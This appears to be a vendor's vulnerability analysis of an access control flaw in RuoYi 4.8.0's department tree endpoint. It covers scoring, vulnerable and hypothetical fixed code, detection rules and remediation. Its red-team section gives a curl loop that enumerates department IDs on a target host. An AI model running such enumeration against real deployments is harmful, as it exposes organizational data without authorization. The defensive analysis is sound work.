CVE-2025-28408

Executive Summary

CVE-2025-28408 is an improper access control vulnerability in the RuoYi v.4.8.0 web application framework. The flaw resides in the /selectDeptTree/{deptId} endpoint, where the selectDeptTree method fails to properly validate the deptId parameter. This allows a remote, unauthenticated attacker to escalate privileges by enumerating or manipulating department IDs, potentially gaining access to sensitive organizational structures and data intended for higher-privileged users. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component remains the same.
• Confidentiality (C): High (H) – sensitive department data exposed.
• Integrity (I): Low (L) – limited ability to modify data.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS Score: 8.2 (High)

Threat Level: High. The vulnerability is trivial to exploit and can lead to significant information disclosure and privilege escalation within the RuoYi application.

Deep Dive & Mechanics

The RuoYi framework provides a department tree management feature via the /selectDeptTree/{deptId} endpoint. The selectDeptTree method is designed to return the hierarchical department structure for a given department ID. The vulnerability arises because the method does not enforce any authorization checks on the deptId parameter. An attacker can:

1. Enumerate Department IDs: By iterating through numeric or predictable department IDs, an attacker can retrieve the department tree for any department, including those that should be restricted to administrators.
2. Privilege Escalation: By accessing department trees of higher-level or sensitive departments, the attacker gains insight into organizational structure, user assignments, and potentially other sensitive metadata. This information can be used to launch further targeted attacks.

The core issue is a missing authorization check (CWE-284) on the deptId parameter. The method likely queries the database directly without verifying that the requesting user has the right to view that specific department.

Vulnerable vs. Patched Code

Vulnerable Code (RuoYi v.4.8.0):

// Controller method
@GetMapping("/selectDeptTree/{deptId}")
public AjaxResult selectDeptTree(@PathVariable("deptId") Long deptId) {
    // No authorization check on deptId
    List<Dept> deptTree = deptService.selectDeptTree(deptId);
    return success(deptTree);
}

Patched Code (Hypothetical Fix):

@GetMapping("/selectDeptTree/{deptId}")
public AjaxResult selectDeptTree(@PathVariable("deptId") Long deptId) {
    // Authorization check: ensure user has permission to view this department
    if (!hasPermissionToViewDept(deptId)) {
        return error("Access denied");
    }
    List<Dept> deptTree = deptService.selectDeptTree(deptId);
    return success(deptTree);
}

The fix requires adding a permission check (e.g., using Spring Security annotations or custom logic) to verify that the authenticated user has the necessary role or permission to view the specified department tree.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of RuoYi v.4.8.0.
• Network access to the /selectDeptTree/{deptId} endpoint.

Exploitation Steps:

1. Enumerate Department IDs: Use a simple script to iterate through department IDs.

   #!/bin/bash
   for i in $(seq 1 100); do
       curl -s "http://target.com/system/dept/selectDeptTree/$i" | jq '.'
   done
   

2. Extract Sensitive Data: Analyze the responses to identify department names, parent-child relationships, and user assignments.

   curl -s "http://target.com/system/dept/selectDeptTree/1" | jq '.data'
   

3. Privilege Escalation: Use the gathered information to access other restricted endpoints or perform social engineering.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Logs: Look for repeated requests to /selectDeptTree/{deptId} with sequential or unusual department IDs.
2. Rate Limiting: Implement rate limiting on the endpoint to slow down enumeration attempts.
3. Anomaly Detection: Alert on requests to this endpoint from unauthenticated users or users with low privileges.

Response Steps:

1. Block IPs: Temporarily block IPs exhibiting enumeration behavior.
2. Review Access Logs: Identify which department IDs were accessed and by whom.
3. Apply Virtual Patching: If possible, use a WAF to block requests to /selectDeptTree/{deptId} from unauthenticated users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated HTTP GET requests to /system/dept/selectDeptTree/{deptId} with sequential IDs.
  • Unusual user-agent strings or patterns in requests.
• Log IOCs:
  • Access logs showing multiple 200 OK responses to /selectDeptTree/ from the same IP.
  • Error logs showing 404 or 500 for invalid department IDs.
• File IOCs:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_28408_RuoYi_DeptTree_Enumeration {
    meta:
        description = "Detects attempts to enumerate department IDs via the RuoYi selectDeptTree endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28408"
        severity = "high"
    strings:
        $endpoint = "/selectDeptTree/"
        $dept_pattern = /\/selectDeptTree\/\d+/
    condition:
        $endpoint and #dept_pattern > 5
}

Sigma Rule

title: RuoYi Department Tree Enumeration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple requests to the RuoYi selectDeptTree endpoint with different department IDs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/system/dept/selectDeptTree/'
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28408 RuoYi Department Tree Enumeration"; flow:to_server; http.method; content:"GET"; http.uri; content:"/selectDeptTree/"; pcre:"/\/selectDeptTree\/\d+/"; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Endpoint: If not required, disable the /selectDeptTree/{deptId} endpoint entirely.
2. Implement Authentication: Require authentication for all requests to this endpoint.
3. Apply Authorization: Add role-based access control to ensure only authorized users can view specific department trees.

Long-Term Fix:

1. Patch Application: Monitor the RuoYi project for an official patch and apply it promptly.
2. Code Review: Conduct a security review of all endpoints handling sensitive data to ensure proper authorization checks are in place.
3. Web Application Firewall (WAF): Deploy WAF rules to block enumeration patterns.

Workarounds:

• Use a reverse proxy to restrict access to the endpoint based on IP whitelisting.
• Implement rate limiting to slow down brute-force attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence